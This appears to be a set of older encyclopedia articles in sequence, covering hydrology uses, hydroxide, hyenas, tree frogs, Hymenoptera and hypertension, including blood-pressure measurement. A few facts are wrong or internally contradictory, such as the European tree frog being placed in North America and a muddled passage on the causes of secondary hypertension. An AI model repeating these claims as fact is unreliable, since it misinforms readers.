            	Mitigating and predicting flood, landslide and drought risk.


            	Real-time flood forecasting and flood warning.


            	Designing irrigation schemes and managing agricultural productivity.


            	Part of the hazard module in catastrophe modeling.


            	Providing drinking water.


            	Designing dams for water supply or hydroelectric power generation.


            	Designing bridges.


            	Designing sewers and urban drainage system.


            	Analyzing the impacts of antecedent moisture on sanitary sewer systems.


            	Predicting geomorphological changes, such as erosion or sedimentation.


            	Assessing the impacts of natural and anthropogenic environmental change on water resources.


            	Assessing contaminant transport risk and establishing environmental policy guidelines.
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              	Hydroxide
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              	IUPAC name

              	hydroxide
            


            
              	Systematic name

              	hydroxide

              oxidanide

              hydridooxygenate(1)
            


            
              	Identifiers
            


            
              	CAS number

              	[14280-30-9]
            


            
              	PubChem

              	
            


            
              	SMILES

              	[OH-]
            


            
              	InChI

              	1/H2O/h1H2/

              p-1/fHO/h1h/q-1
            


            
              	Properties
            


            
              	Molecular formula

              	OH
            


            
              	Molar mass

              	17.00274 (7) g/mol
            


            
              	Acidity (pKa)

              	~22
            


            
              	Basicity (pKb)

              	-1.74

              15.74
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          In chemistry, hydroxide is the most common name for the diatomic anion OH, consisting of oxygen and hydrogen atoms, usually derived from the dissociation of a base. It is one of the simplest diatomic ions known.


          Inorganic compounds that contain the hydroxyl group are referred to as hydroxides. Common hydroxides include:


          
            	Sodium hydroxide (NaOH)


            	Potassium hydroxide (KOH)


            	Calcium hydroxide (Ca(OH)2)


            	Ammonium hydroxide (NH4OH)

          


          


          Hydroxide as a base


          Most compounds containing hydroxide are bases.


          An Arrhenius base is a substance that produces hydroxide ions when dissolved in aqueous solution. One example would be ammonia, NH3:


          NH3(g) + H2O(l) ⇌ NH4+(aq) + OH(aq)


          Thus, hydroxide ions are heavily involved in acid-base reactions as well as the special double displacement reaction called neutralization.


          Salts containing hydroxide are called base salts. Base salts will dissociate into a cation and one or more hydroxide ions in water, making the solution basic. Base salts will undergo neutralisation reactions with acids. In general acid-alkali reactions can be simplified to


          
            	OH (aq) + H+(aq)  H2O (l)

          


          by omitting spectator ions.


          


          Solubility


          Most inorganic hydroxide salts are insoluble in water, except for those with cations from Group I, NH4+, Ba2+, Sr2+, Ca2+ (little) or Tl+.


          


          Applications


          Hydroxides and hydroxide ions are relatively common. Many useful chemicals and chemical processes involve hydroxides or hydroxide ions. Sodium hydroxide (lye) is used in industry as a strong base, potassium hydroxide is used in agriculture, and iron hydroxide minerals such as goethite and limonite have been used as low grade brown iron ore. The aluminium ore bauxite is composed largely of aluminium hydroxides.


          


          Ligand


          Hydroxide ion is a kind of ligand. It donates lone pair of electrons, behaving as a Lewis base. Examples of complexes containing such a ligand include the aluminate ion [Al(OH)4] and aurate ion [Au(OH)4].
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              	Hyenas

              Fossil range: Early Miocene to Recent
            


            
              	
                [image: Spotted Hyena]


                
                  Spotted Hyena
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Mammalia

                  


                  
                    	Order:

                    	Carnivora

                  


                  
                    	Suborder:

                    	Feliformia

                  


                  
                    	Family:

                    	Hyaenidae

                    Gray, 1821
                  

                

              
            


            
              	Living Genera
            


            
              	
                
                  	Crocuta


                  	Hyaena


                  	Proteles

                

              
            


            
              	Synonyms
            


            
              	
                
                  	Protelidae Flower, 1869

                

              
            

          


          The Hyaenidae is a mammalian family of order Carnivora. The Hyaenidae family, native to both African and Asian continents consists of four living species, the Striped Hyena and Brown Hyena (genus Hyaena), the Spotted Hyena (genus Crocuta) and the Aardwolf (genus Proteles).


          


          Evolution
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              Skull of Hyaena eximia.
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              Lower jaw of Hyaena eximia.
            

          


          Hyenas seem to have originated 22 million years ago from arboreal ancestors bearing similarities to the modern Banded Palm Civet. Plioviverrops, one of the earliest hyenas, was a lithe civet-like creature that inhabited Eurasia 20-22 million years ago. Details from the middle ear and dental structure marked it as a primitive hyena. This genus proved successful, its descendants flourishing with more pointed jowels and racier legs, much as the Canidae had done in North America. Fifteen million years ago, dog-like hyenas flourished, with 30 different species being identified. Unlike some of their modern descendants, these hyenas were not specialized bone-crushers, but were more nimble, wolf-like animals. The dog-like hyenas had canid-like molars, allowing them to supplement their carnivorous diet with vegetation and invertebrates.


          Five to seven million years ago, the dog-like hyenas were outcompeted by canids traveling from North America to Eurasia via the Bering land bridge. The ancestral aardwolves survived by having adapted themselves to an insectivorous diet to which few canids had specialized. Some hyenas began evolving bone crushing teeth in order to avoid competing with the canids, resulting in the hyenas eventually outcompeting a family of similarly built bone crushers called "percrocutoids". The percrocutoids became extinct 7 million years ago, coinciding exactly with the rise of bone crushing hyena species. Unlike the canids who flourished in the newly colonized Eurasian continent, only one hyena species, the cheetah-like Chasmaporthetes managed to cross to North America. It went extinct 1.5 million years ago.


          The peak diversity of the Hyenidae was during the Pleistocene, with 4 genera and 9 species of hyena. The bone crushing hyenas became the Old World's dominant scavengers, managing to take advantage of the amount of meat left over from the kills of sabre-toothed cats. One such species was Pachycrocuta, a up 200 kg (440 lb) mega-scavenger that could crush elephant bones. As the sabre-toothed cats began to die out and be replaced by short-fanged felids which were more efficient eaters, more hyenas began to hunt for themselves and began evolving into new species, the modern spotted hyena being among them.


          


          Genera of the Hyaenidae (extinct and recent)
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              Skull of Ictitherium viverrinum

              " American Museum of Natural History"
            

          


          The list follows McKenna and Bells Classification of Mammals for prehistoric genera (1997) and Wozencraft (2005) in Wilson and Reeders Mammal Species of the World for extant genera . The Percrocutids are in contrast to McKenna and Bells classification not included as a subfamily into the Hyaenidae but as a separate family Percrocutidae. Furthermore, the genus Paracrocuta, to which the living brown hyena belongs, is not included into the genus Pachycrocuta but in the genus Hyaena. The Protelinae (Aardwolves) are not traded as a separate subfamily but included in the Hyaeninae.


          
            	
              Family Hyaenidae

              
                	
                  
                    	 Tongxinictis (Middle Miocene of Asia)

                  

                


                	Subfamily Ictitheriinae

                  
                    	 Herpestides (Early Miocene of Africa and Eurasia)


                    	 Plioviverrops (including Jordanictis, Protoviverrops, Mesoviverrops; Early Miocene to Early Pliocene of Europe, Late Miocene of Asia)


                    	 Ictitherium (=Galeotherium; including Lepthyaena, Sinictitherium, Paraictitherium; Middle Miocene of Africa, Late Miocene to Early Pliocene of Eurasia)


                    	 Thalassictis (including Palhyaena, Miohyaena, Hyaenictitherium, Hyaenalopex; Middle to Late Miocene of Asia, Late Miocene of Africa and Europe)


                    	 Hyaenotherium (Late Miocene to?Early Pliocene of Eurasia)


                    	 Miohyaenotherium (Late Miocene of Europe)


                    	 Lychyaena (Late Miocene of Eurasia)


                    	 Tungurictis (Middle Miocene of Africa and Eurasia)


                    	 Proictitherium (Middle Miocene of Africa and Asia, Middle to Late Miocene of Europe)

                  

                


                	
                  Subfamily Hyaeninae

                  
                    	 Palinhyaena (Late Miocene of Asia)


                    	 Ikelohyaena (Early Pliocene of Africa)


                    	Hyaena (=Euhyaena, =Hyena; including Parahyaena, Pliohyaena, Pliocrocuta, Anomalopithecus) Early Pliocene (?Middle Miocene) to Recent of Africa, Late Pliocene (?Late Miocene) to Late Pleistocene of Eurasia)


                    	 Hyaenictis (Late Miocene of Asia?, Late Miocene of Europe, Early Pliocene (?Early Pleistocene) of Africa)


                    	 Leecyaena (Late Miocene and/or Early Pliocene of Asia)


                    	 Chasmaporthetes (=Ailuriaena; including Lycaenops, Euryboas; Late Miocene to Early Pleistocene of Eurasia, Early Pliocene to Late pliocene or Early Pleistocene of Africa, Late Pliocene to Early Pleistocene of North America)


                    	 Pachycrocuta (Pliocene and Pleistocene of Eurasia and Africa)


                    	 Adcrocuta (Late Miocene of Eurasia)


                    	Crocuta (=Crocotta; including Eucrocuta; Late Pliocene to recent of Africa, Late Pliocene to Late Pleistocene of Eurasia)


                    	Proteles (=Geocyon; Pleistocene to Recent of Africa)

                  

                

              

            

          


          


          Appearance & Biology
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              Striped Hyena, Hyaena hyaena
            

          


          Although hyenas bear some physical resemblance to canids, they make up a separate biological family that is most closely related to Herpestidae (the family of mongooses and meerkats), thereby falling within the Feliformia. All species have a distinctly bear-like gait due to their front legs being longer than their back legs. The Aardwolf, Striped Hyena and Brown Hyena have striped pelts and manes lining the top of their necks which erect when frightened. The Spotted Hyena's fur is considerably shorter and spotted rather than striped. Unlike other species, its mane is reversed forwards.


          Spotted Hyenas and, to a lesser extent, Striped and Brown Hyenas, have powerful carnassial teeth adapted for cutting flesh and premolars for crushing bone. Spotted hyenas have a strong bite proportional to their size, but the view that they have the strongest bite is a myth; and a number of other animals (including the Tasmanian devil) are proportionately stronger. The Aardwolf has greatly reduced cheek teeth, sometimes absent in the adult, but otherwise has the same dentition as the other three species. The dental formula for all hyena species is:


          
            
              	3.1.4.1
            


            
              	3.1.3.1
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              Brown Hyena Parahyaena brunnea.
            

          


          Labiolingually, their mandibles are much stronger at the canine teeth than in canids, reflecting the fact that hyenas crack bones with both their anterior dentition and premolars, unlike canids which do so with their post-carnassial molars. Like felids, hyenas lack the rearward molars of canids and vivverids. By organising their teeth so that the bone-crushing premolars do not interfere with the meat-slicing carnassials to the rear, hyenas can crush bone without blunting the carnassials' blades.


          Hyenas, in particular the spotted hyena, are highly intelligent animals, with some studies strongly suggesting convergent evolution in hyena and primate intelligence. Spotted hyena societies are more complex than those of other carnivorous mammals, and have been reported to be remarkably similar to those cercopithecine primates in respect to group size, structure, competition and cooperation. One indication of hyena intelligence is that they will move their kills closer to each other to protect them from scavengers; another indication is their strategic hunting methods.


          The majority of hyena species show little sexual dimorphism, usually with males being only slightly larger than the females. The spotted hyena is an exception to this as females are larger than the males. One unusual feature of the spotted hyena is that females have an enlarged clitoris called a pseudo-penis, demi-penis or sometimes mistakenly referred to as a nanophallus. Female hyenas give birth, copulate, and urinate through their protruding genitalia, which stretches to allow the male penis to enter for copulation, and it also stretches during birth. The anatomical position of the genitalia gives females total sexual control over who is allowed to mate with them. Researchers originally thought that one cause of this characteristic of the genitals was androgens that were introduced to the fetus very early on in its development. However, it was discovered that when the androgens were held back from the fetus, the development of the female genitalia was not altered.


          All species excrete an oily, yellow substance from their anal glands onto objects to mark their territories. When scent marking, the anal pouch is turned inside out, or everted. Hyenas also do this as a submissive posture to more dominant hyenas. Genitals, the anal area, and the anal glands are sniffed during greeting ceremonies in which each hyena lifts its leg and allows the other to sniff its anal sacks and genitals. All four species maintain latrines far from the main denning area where dung is deposited. Scent marking is also done by scraping the ground with the paws, which deposits scent from glands on the bottoms of the feet. Hyenas do not raise their legs when urinating as male or dominant canids do.


          Unlike the canids, hyenas do not regurgitate or carry back food for their young, due to the speed with which the food is digested.


          


          Habitat


          With the exception of the Striped Hyena which has been seen in the jungles of India, all modern Hyena species generally reside in arid environments like African savannahs and deserts.


          


          Dietary habits
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              Hyena in Masai Mara, Kenya is feeding on zebra carcass
            

          


          Except for the Aardwolf, all hyena species are efficient hunters and scavengers. They have extremely strong jaws in relation to their body size and have a very powerful digestive system with highly acidic fluids, making them capable of eating and digesting their entire prey, including skin, teeth, horns, bones . Hair and hooves are usually regurgitated. Since they have no aversion to and readily eat carrion, their digestive system deals very well with bacteria.


          The spotted hyena is primarily a predator, unlike some of its cousins. Spotted hyenas are successful pack hunters of small to large sized ungulates and are the most abundant carnivore on the African continent.


          The Aardwolf is a specialised feeder of termites, thus lacking the size and physical power of its cousins.


          


          In culture


          
            [image: Spotted Hyena, Crocuta crocuta, inhabits most of Africa.]

            
              Spotted Hyena, Crocuta crocuta, inhabits most of Africa.
            

          


          Negative associations have generally stemmed from Hyenas' tendency to scavenge graves for food. They are one of the few creatures naturally suited for this due to their ability to devour and digest every part of a carcass, including bone. As such, many associate hyenas with gluttony, uncleanliness, and cowardice.


          The haunting laughter-like calls of the spotted hyena inspired the idea in local cultures that they could imitate human voices and call their victims by name. Hyenas are also associated with divination and sometimes thought of as tools of demons and witches. In African folklore, witches and sorcerers are thought to ride hyenas, or even turn into them.


          African attitudes toward hyenas are little better than those held in the European cultures. The Bouda is a mythical tribe reputed to house members able to transform into hyenas. Belief in " Werehyenas" is so entrenched within the traditional lore of the Bornu people of north-eastern Nigeria, that their language even contains a special word bultungin which translates as "I change myself into a hyena".


          Early naturalists thought hyenas were hermaphrodites or commonly practiced homosexuality, largely due to the female spotted hyena's unique urogenital system. According to early writings such as Ovid's Metamorphoses and the Physiologus, the hyena continually changed its sex and nature from male to female and back again. In Paedagogus, Clement of Alexandria noted that the hyena (along with the hare) was "quite obsessed with sexual intercourse." Many Europeans associated the hyena with sexual deformity, prostitution, and deviant sexual behaviour.


          Hyenas (usually "Laughing Hyenas") have been used in animated movies many times, as well as having been rendered in live action films, commonly cast as hysterical and unhinged villains. Examples include those featured in the Disney animated film The Lion King who are called Shenzi, Banzai and Ed, one ball-playing individual in Bedknobs and Broomsticks, and many more shown in animated films.
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              	Tree frogs
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                  Red-eyed Tree Frog, Agalychnis callidryas
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Amphibia

                  


                  
                    	Order:

                    	Anura

                  


                  
                    	Family:

                    	Hylidae

                    Rafinesque, 1815
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                  Distribution of Hylidae (in black)
                

              
            


            
              	Genera
            


            
              	
                See text.

              
            

          


          Hylidae are a family of frogs with tree dwelling adaptations, contained by the order Anura. The genera of this family include a diversity of frog species, many of which do not live in trees, but are terrestrial or aquatic. They mostly feed on insects and other invertebrates, but some larger species can feed on small vertebrates. The Cyclorana species are burrowing frogs that are able to live underground.


          


          Types


          The European tree frog, Hyla arborea, is common in the middle and south of North America, and range into Asia and North Africa. The species become very noisy on the approach of rain and are sometimes kept in confinement as a kind of barometer.


          In North America there are many species of the Hylidae family, including Hyla versicolor, a species known as the grey tree frog, and Hyla cinerea, the American green tree frog. The spring peeper, Pseudacris crucifer, is also widespread in the eastern United States and is commonly heard on summer and spring evenings.


          The tree frog is a popular name for several of the Hylidae. Hyla versicolor is the changeable tree frog, Trachycephalus lichenatus is the lichened tree frog, and Trachycephalus marmoratus the marbled tree frog.
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              Hyla versicolor, the grey treefrog
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              Stoney Creek Frog Litoria wilcoxi
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              Japanese Tree Frog Hyla japonica
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              Fossil range: Triassic - Recent
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              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Arthropoda

                  


                  
                    	Class:

                    	Insecta

                  


                  
                    	Subclass:

                    	Pterygota

                  


                  
                    	Infraclass:

                    	Neoptera

                  


                  
                    	Superorder:

                    	Endopterygota

                  


                  
                    	Order:

                    	Hymenoptera

                    Linnaeus, 1758
                  

                

              
            


            
              	Suborders
            


            
              	
                Apocrita

                Symphyta

              
            

          


          Hymenoptera is one of the larger orders of insects, comprising the sawflies, wasps, bees, and ants. The name refers to the membranous wings of the insects, and is derived from the Ancient Greek ὑή (humẽn): membrane and ό (pteron): wing. The hindwings are connected to the forewings by a series of hooks called hamuli.


          Females typically have a special ovipositor for inserting eggs into hosts or otherwise inaccessible places. The ovipositor is often modified into a stinger. The young develop through complete metamorphosis  that is, they have a worm-like larval stage and an inactive pupal stage before they mature. (See holometabolism.)


          


          Evolution


          Hymenoptera originated in the Triassic, the oldest fossils belonging to the family Xyelidae. Social hymenopterans appeared during the Cretaceous. The evolution of this group has been intensively studied by A. Rasnitsyn, M. S. Engel, G. Dlussky, and others.


          


          Sex determination


          Among the hymenopterans, sex is determined by the number of chromosomes an individual possesses. Fertilized eggs get two sets of chromosomes (one from each parent's respective gametes), and so develop into diploid females, while unfertilized eggs only contain one set (from the mother), and so develop into haploid males; the act of fertilization is under the voluntary control of the egg-laying female. This phenomenon is called haplodiploidy. Note, however, that the actual genetic mechanisms of haplodiploid sex determination may be more complex than simple chromosome number. In many Hymenoptera, sex is actually determined by a single gene locus with many alleles. In these species, haploids are male and diploids heterozygous at the sex locus are female, but occasionally a diploid will be homozygous at the sex locus and develop as a male instead. This is especially likely to occur in an individual whose parents were siblings or other close relatives. Diploid males are known to be produced by inbreeding in many ant, bee and wasp species.


          One consequence of haplodiploidy is that females on average actually have more genes in common with their sisters than they do with their own daughters. Because of this, cooperation among kindred females may be unusually advantageous, and has been hypothesized to contribute to the multiple origins of eusociality within this order.


          


          Classification


          


          Symphyta


          The suborder Symphyta includes the sawflies, horntails, and parasitic wood wasps. The group may be paraphyletic, as it has been suggested that the family Orussidae may be the group from which the Apocrita arose. They have an unconstricted junction between the thorax and abdomen, and the larvae of free-living forms are herbivorous, have legs, prolegs (on every segment, unlike Lepidoptera ( butterflies and moths)), and ocelli.


          


          Apocrita


          The wasps, bees, and ants together make up the suborder Apocrita, characterized by a constriction between the first and second abdominal segments called a wasp-waist ( petiole), also involving the fusion of the first abdominal segment to the thorax. Also, the larvae of all Apocrita do not have legs, prolegs, or ocelli.
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              	Hypertension

              Classification and external resources
            


            
              	ICD- 10

              	I 10., I 11., I 12.,

              I 13., I 15.
            


            
              	ICD- 9

              	401.x
            


            
              	OMIM

              	145500
            


            
              	DiseasesDB

              	6330
            


            
              	MedlinePlus

              	000468
            


            
              	eMedicine

              	med/1106 ped/1097 emerg/267
            


            
              	MeSH

              	D006973
            

          


          

          Hypertension, referred to as high blood pressure, HTN or HPN, is a medical condition in which the blood pressure is chronically elevated. It was previously referred to as nonarterial hypertension, but in current usage, the word "hypertension" without a qualifier normally refers to arterial hypertension.


          Hypertension can be classified either essential (primary) or secondary. Essential hypertension indicates that no specific medical cause can be found to explain a patient's condition. Secondary hypertension indicates that the high blood pressure is a result of (i.e., secondary to) another condition, such as kidney disease or tumours (pheochromocytoma and paraganglioma). Persistent hypertension is one of the risk factors for strokes, heart attacks, heart failure and arterial aneurysm, and is a leading cause of chronic renal failure. Even moderate elevation of arterial blood pressure leads to shortened life expectancy. At severely high pressures, defined as mean arterial pressures 50% or more above average, a person can expect to live no more than a few years unless appropriately treated.


          Hypertension is considered to be present when a person's systolic blood pressure is consistently 140 mmHg or greater, and/or their diastolic blood pressure is consistently 90mmHg or greater. As recently as 2003, the Seventh Report of the Joint National Committee on Prevention, Detection, Evaluation, and Treatment of High Blood Pressure has defined blood pressure 120/80 mmHg to 139/89 mmHg as " prehypertension." Prehypertension is not a disease category; rather, it is a designation chosen to identify individuals at high risk of developing hypertension. The Mayo Clinic website specifies blood pressure is "normal if it's below 120/80" but that "some data indicate that 115/75 mm Hg should be the gold standard." In patients with diabetes mellitus or kidney disease studies have shown that blood pressure over 130/80 mmHg should be considered high and warrants further treatment.


          Hypertension is labeled resistant or refractory if a persons blood pressure remains above their target blood pressure despite taking three or more medications to lower it. The American Heart Association released a scientific statement in May 2008 with guidelines for treating resistant hypertension.


          


          Factors of essential hypertension


          Although no specific medical cause can be determined in essential hypertension, it often has several contributing factors. These include obesity, salt sensitivity, renin homeostasis, insulin resistance, genetics, and age.


          


          Obesity


          The risk of hypertension is 5 times higher in the obese as compared to those of normal weight and up to two-thirds of cases can be attributed to excess weight. More then 85% of cases occur in those with a BMI>25.


          


          Sodium sensitivity


          Sodium is an environmental factor that has received the greatest attention. Approximately one third of the essential hypertensive population is responsive to sodium intake. This is due to the fact that increasing amounts of salt in a person's bloodstream causes cells to release water (due to osmotic pressure) to equilibrate concentration gradient of salt between the cells and the bloodstream; increasing the pressure on the blood vessel walls.


          


          Role of renin


          Renin is an enzyme secreted by the juxtaglomerular apparatus of the kidney and linked with aldosterone in a negative feedback loop. The range of renin activity observed in hypertensive subjects tends to be broader than in normotensive individuals. In consequence, some hypertensive patients have been defined as having low-renin and others as having essential hypertension. Low-renin hypertension is more common in African Americans than white Americans, and may explain why African Americans tend to respond better to diuretic therapy than drugs that interfere with the renin-angiotensin system.


          High Renin levels predispose to Hypertension: Increased Renin  Increased Angiotensin II  Increased Vasoconstriction, Thirst/ ADH and Aldosterone  Increased Sodium Resorption in the Kidneys (DCT and CD)  Increased Blood Pressure. Some authorities claim that potassium might both prevent and treat hypertension.


          


          Insulin resistance


          Insulin is a polypeptide hormone secreted by cells in the islets of langerhans, which are contained throughout the pancreas. Its main purpose is to regulate the levels of glucose in the body antagonistically with glucagon through negative feedback loops. Insulin also exhibits vasodilatory properties. In normotensive individuals, insulin may stimulate sympathetic activity without elevating mean arterial pressure. However, in more extreme conditions such as that of the metabolic syndrome, the increased sympathetic neural activity may over-ride the vasodilatory effects of insulin. Insulin resistance and/or hyperinsulinemia have been suggested as being responsible for the increased arterial pressure in some patients with hypertension. This feature is now widely recognized as part of syndrome X, or the metabolic syndrome.


          


          Sleep apnea


          Sleep apnea is a common, under-recognized cause of hypertension. It is often best treated with nocturnal nasal continuous positive airway pressure, but other approaches include the Mandibular advancement splint (MAS), UPPP, tonsilectomy, adenoidectomy, sinus surgery, or weight loss.


          


          Genetics


          Hypertension is one of the most common complex disorders, with genetic heritability averaging 30%. Data supporting this view emerge from animal studies as well as in population studies in humans. Most of these studies support the concept that the inheritance is probably multifactorial or that a number of different genetic defects each have an elevated blood pressure as one of their phenotypic expressions.


          More than 50 genes have been examined in association studies with hypertension, and the number is constantly growing.


          


          Age


          Over time, the number of collagen fibers in artery and arteriole walls increases, making blood vessels stiffer. With the reduced elasticity comes a smaller cross-sectional area in systole, and so a raised mean arterial blood pressure.


          


          Liquorice


          Consumption of liquorice (which can be of potent strength in liquorice candy) can lead to a surge in blood pressure. People with hypertension or history of cardio-vascular disease should avoid liquorice raising their blood pressure to risky levels. Frequently, if liquorice is the cause of the high blood pressure, a low blood level of potassium will also be present.


          Liquorice extracts are present in many medicines (for example cough syrups, throat lozenges and peptic ulcer treatments).


          


          Other etiologies


          There are some anecdotal or transient causes of high blood pressure. These are not to be confused with the disease called hypertension in which there is an intrinsic physiopathological mechanism as described below.


          


          Etiology of secondary hypertension


          Only in a small minority of patients with elevated arterial pressure can a specific cause be identified. In 90 percent to 95 percent of high blood pressure cases, the American Heart Association says there's no identifiable cause. These individuals will probably have an endocrine or renal defect that, if corrected, could bring blood pressure back to normal values.


          
            	Renal hypertension


            	Hypertension produced by diseases of the kidney. This includes diseases such as polycystic kidney disease or chronic glomerulonephritis. Hypertension can also be produced by diseases of the renal arteries supplying the kidney. This is known as renovascular hypertension; it is thought that decreased perfusion of renal tissue due to stenosis of a main or branch renal artery activates the renin-angiotensin system.

          


          
            	Adrenal hypertension


            	Hypertension is a feature of a variety of adrenal cortical abnormalities. In primary aldosteronism there is a clear relationship between the aldosterone-induced sodium retention and the hypertension.

          


          
            	Cushing's syndrome (hypersecretion of cortisol)


            	Both adrenal glands can overproduce the hormone cortisol or it can arise in a benign or malignant tumor. Hypertension results from the interplay of several pathophysiological mechanisms regulating plasma volume, peripheral vascular resistance and cardiac output, all of which may be increased. More than 80% of patients with Cushing's syndrome have hypertension.

          


          
            	In patients with pheochromocytoma increased secretion of catecholamines such as epinephrine and norepinephrine by a tumor (most often located in the adrenal medulla) causes excessive stimulation of adrenergic receptors, which results in peripheral vasoconstriction and cardiac stimulation. This diagnosis is confirmed by demonstrating increased urinary excretion of epinephrine and norepinephrine and/or their metabolites ( vanillylmandelic acid).

          


          
            	Genetic causes


            	Hypertension can be caused by mutations in single genes, inherited on a mendelian basis.

          


          
            	Coarctation of the aorta

          


          
            	Drugs


            	Certain medications, especially NSAIDS (Motrin/ Ibuprofen) and steroids can cause hypertension. Licorice (Glycyrrhiza glabra) inhibits the 11-hydroxysteroid hydrogenase enzyme (catalyzes the reaction of cortisol to cortison) which allows cortisol to stimulate the Mineralocorticoid Receptor (MR) which will lead to effects similar to hyperaldosteronism, which itself is a cause of hypertension.

          


          
            	Rebound hypertension


            	High blood pressure that is associated with the sudden withdrawal of various antihypertensive medications. The increases in blood pressure may result in blood pressures greater than when the medication was initiated. Depending on the severity of the increase in blood pressure, rebound hypertension may result in a hypertensive emergency. Rebound hypertension is avoided by gradually reducing the dose (also known as "dose tapering"), thereby giving the body enough time to adjust to reduction in dose.

          


          
            	Medications commonly associated with rebound hypertension include centrally-acting antihypertensive agents, such as clonidine and beta-blockers.

          


          


          Pathophysiology


          Most of the secondary mechanisms associated with hypertension are generally fully understood, and are outlined at secondary hypertension. However, those associated with essential (primary) hypertension are far less understood. What is known is that cardiac output is raised early in the disease course, with total peripheral resistance (TPR) normal; over time cardiac output drops to normal levels but TPR is increased. Three theories have been proposed to explain this:


          
            	Inability of the kidneys to excrete sodium, resulting in natriuretic factors such as Atrial Natriuretic Factor being secreted to promote salt excretion with the side-effect of raising total peripheral resistance.


            	An overactive renin / angiotensin system leads to vasoconstriction and retention of sodium and water. The increase in blood volume leads to hypertension.


            	An overactive sympathetic nervous system, leading to increased stress responses.

          


          It is also known that hypertension is highly heritable and polygenic (caused by more than one gene) and a few candidate genes have been postulated in the etiology of this condition.


          


          Signs and symptoms


          Hypertension is usually found incidentally - "case finding" - by healthcare professionals during a routine checkup. The only test for hypertension is a blood pressure measurement. Hypertension in isolation usually produces no symptoms although some people report headaches, fatigue, dizziness, blurred vision, facial flushing, transient insomnia or difficulty sleeping due to feeling hot or flushed, and tinnitus during beginning onset or prior to hypertension diagnosis.


          Malignant hypertension (or accelerated hypertension) is distinct as a late phase in the condition, and may present with headaches, blurred vision and end-organ damage.


          Hypertension is often confused with mental tension, stress and anxiety. While chronic anxiety and/or irritability is associated with poor outcomes in people with hypertension, it alone does not cause it. Accelerated hypertension is associated with somnolence, confusion, visual disturbances, and nausea and vomiting (hypertensive encephalopathy).


          


          Hypertensive urgencies and emergencies


          Hypertension is rarely severe enough to cause symptoms. These typically only surface with a systolic blood pressure over 240 mmHg and/or a diastolic blood pressure over 120 mmHg. These pressures without signs of end-organ damage (such as renal failure) are termed "accelerated" hypertension. When end-organ damage is possible or already ongoing, but in absence of raised intracranial pressure, it is called hypertensive emergency. Hypertension under this circumstance needs to be controlled, but prolonged hospitalization is not necessarily required. When hypertension causes increased intracranial pressure, it is called malignant hypertension. Increased intracranial pressure causes papilledema, which is visible on ophthalmoscopic examination of the retina.


          


          Complications


          While elevated blood pressure alone is not an illness, it often requires treatment due to its short- and long-term effects on many organs. The risk is increased for:


          
            	Cerebrovascular accident (CVAs or strokes)


            	Myocardial infarction (heart attack)


            	Hypertensive cardiomyopathy ( heart failure due to chronically high blood pressure)


            	Hypertensive retinopathy - damage to the retina


            	Hypertensive nephropathy - chronic renal failure due to chronically high blood pressure


            	Hypertensive encephalopathy - confusion, headache , convulsion due to vasogenic edema in brain due to high blood pressure.

          


          


          Pregnancy


          Although few women of childbearing age have high blood pressure, up to 10% develop hypertension of pregnancy. While generally benign, it may herald three complications of pregnancy: pre-eclampsia, HELLP syndrome and eclampsia. Follow-up and control with medication is therefore often necessary.


          


          Children and adolescents


          As with adults, blood pressure is a variable parameter in children. It varies between individuals and within individuals from day to day and at various times of the day. The epidemic of childhood obesity, the risk of developing left ventricular hypertrophy, and evidence of the early development of atherosclerosis in children would make the detection of and intervention in childhood hypertension important to reduce long-term health risks; however, supporting data are lacking.


          Most childhood hypertension, particularly in preadolescents, is secondary to an underlying disorder. Renal parenchymal disease is the most common (60 to 70%) cause of hypertension. Adolescents usually have primary or essential hypertension, making up 85 to 95% of cases.


          


          Diagnosis


          


          Measuring blood pressure


          Diagnosis of hypertension is generally on the basis of a persistently high blood pressure. Usually this requires three separate measurements at least one week apart. Exceptionally, if the elevation is extreme, or end-organ damage is present then the diagnosis may be applied and treatment commenced immediately.


          Obtaining reliable blood pressure measurements relies on following several rules and understanding the many factors that influence blood pressure reading.


          For instance, measurements in control of hypertension should be at least 1 hour after caffeine, 30 minutes after smoking or strenuous exercise and without any stress. Cuff size is also important. The bladder should encircle and cover two-thirds of the length of the (upper) arm. The patient should be sitting upright in a chair with both feet flat on the floor for a minimum of five minutes prior to taking a reading. The patient should not be on any adrenergic stimulants, such as those found in many cold medications.


          When taking manual measurements, the person taking the measurement should be careful to inflate the cuff suitably above anticipated systolic pressure. The person should inflate the cuff to 200 mmHg and then slowly release the air while palpating the radial pulse. After one minute, the cuff should be reinflated to 30 mmHg higher than the pressure at which the radial pulse was no longer palpable. A stethoscope should be placed lightly over the brachial artery. The cuff should be at the level of the heart and the cuff should be deflated at a rate of 2 to 3 mmHg/s. Systolic pressure is the pressure reading at the onset of the sounds described by Korotkoff (Phase one). Diastolic pressure is then recorded as the pressure at which the sounds disappear (K5) or sometimes the K4 point, where the sound is abruptly muffled. Two measurements should be made at least 5 minutes apart, and, if there is a discrepancy of more than 5 mmHg, a third reading should be done. The readings should then be averaged. An initial measurement should include both arms. In elderly patients who particularly when treated may show orthostatic hypotension, measuring lying sitting and standing BP may be useful. The BP should at some time have been measured in each arm, and the higher pressure arm preferred for subsequent measurements.


          BP varies with time of day, as may the effectiveness of treatment, and archetypes used to record the data should include the time taken. Analysis of this is rare at present.


          Automated machines are commonly used and reduce the variability in manually collected readings . Routine measurements done in medical offices of patients with known hypertension may incorrectly diagnose 20% of patients with uncontrolled hypertension


          Home blood pressure monitoring can provide a measurement of a person's blood pressure at different times throughout the day and in different environments, such as at home and at work. Home monitoring may assist in the diagnosis of high or low blood pressure. It may also be used to monitor the effects of medication or lifestyle changes taken to lower or regulate blood pressure levels.


          Home monitoring of blood pressure can also assist in the diagnosis of white coat hypertension. The American Heart Association states, "You may have what's called 'white coat hypertension'; that means your blood pressure goes up when you're at the doctor's office. Monitoring at home will help you measure your true blood pressure and can provide your doctor with a log of blood pressure measurements over time. This is helpful in diagnosing and preventing potential health problems."


          Some home blood pressure monitoring devices also make use of blood pressure charting software. These charting methods provide printouts for the patient's physician and reminders to take a blood pressure reading. However, a simple and cheap way is simply to manually record values with pen and paper, which can then be inspected by a doctor.


          


          Distinguishing primary vs. secondary hypertension


